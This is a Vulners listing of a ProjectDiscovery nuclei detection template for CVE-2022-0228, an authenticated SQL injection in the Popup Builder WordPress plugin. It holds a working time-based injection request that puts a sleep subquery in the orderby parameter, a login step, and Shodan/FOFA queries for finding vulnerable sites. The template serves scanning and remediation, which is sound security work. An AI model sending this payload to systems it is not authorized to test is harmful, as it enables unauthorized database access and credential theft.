Lucene search
K

Popup Builder < 4.0.7 - SQL Injection

🗓️ 02 Jul 2026 09:36:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 28 Views

Popup Builder < 4.0.7 - SQL Injection in WordPress plugi

Related
Refs
Code
id: CVE-2022-0228

info:
  name: Popup Builder < 4.0.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The Popup Builder WordPress plugin before 4.0.7 does not validate and properly escape the orderby and order parameters before using them in a SQL statement in the admin dashboard, which could allow high privilege users to perform SQL injection.
  impact: |
    Authenticated administrators with high privileges can exploit SQL injection to extract database contents, potentially exposing sensitive WordPress data and user credentials.
  remediation: update to v.4.0.7
  reference:
    - https://wpscan.com/vulnerability/22facac2-52f4-4e5f-be59-1d2934b260d9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0228
    - https://plugins.trac.wordpress.org/changeset/2659117
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2022-0228
    cwe-id: CWE-89
    epss-score: 0.05839
    epss-percentile: 0.92264
    cpe: cpe:2.3:a:sygnoos:popup_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sygnoos
    product: popup_builder
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/popup-builder/
    fofa-query: body=/wp-content/plugins/popup-builder/
    publicwww-query: /wp-content/plugins/popup-builder/
  tags: time-based-sqli,cve2022,cve,wordpress,wp-plugin,wp,wpscan,popup-builder,sygnoos,sqli,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 15s
        GET /wp-admin/admin-post.php?action=csv_file&orderby=email%2c(select+*+from(select(sleep(7)))b)&order=desc HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 200'
          - 'contains_all(body_2, "first name", "last name", "email")'
          - 'contains(content_type_2, "application/octet-stream")'
        condition: and
# digest: 490a004630440220507e540e68e055961e320320a544aa72f186e4b0653b340f127753437ff569b402207d5b3a9f6272c9ef16b2c8830c523d3a091ecb1f846c99ab712177e422992110:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.1High risk
Vulners AI Score7.1
CVSS 26.5
CVSS 3.17.2
EPSS0.05839
28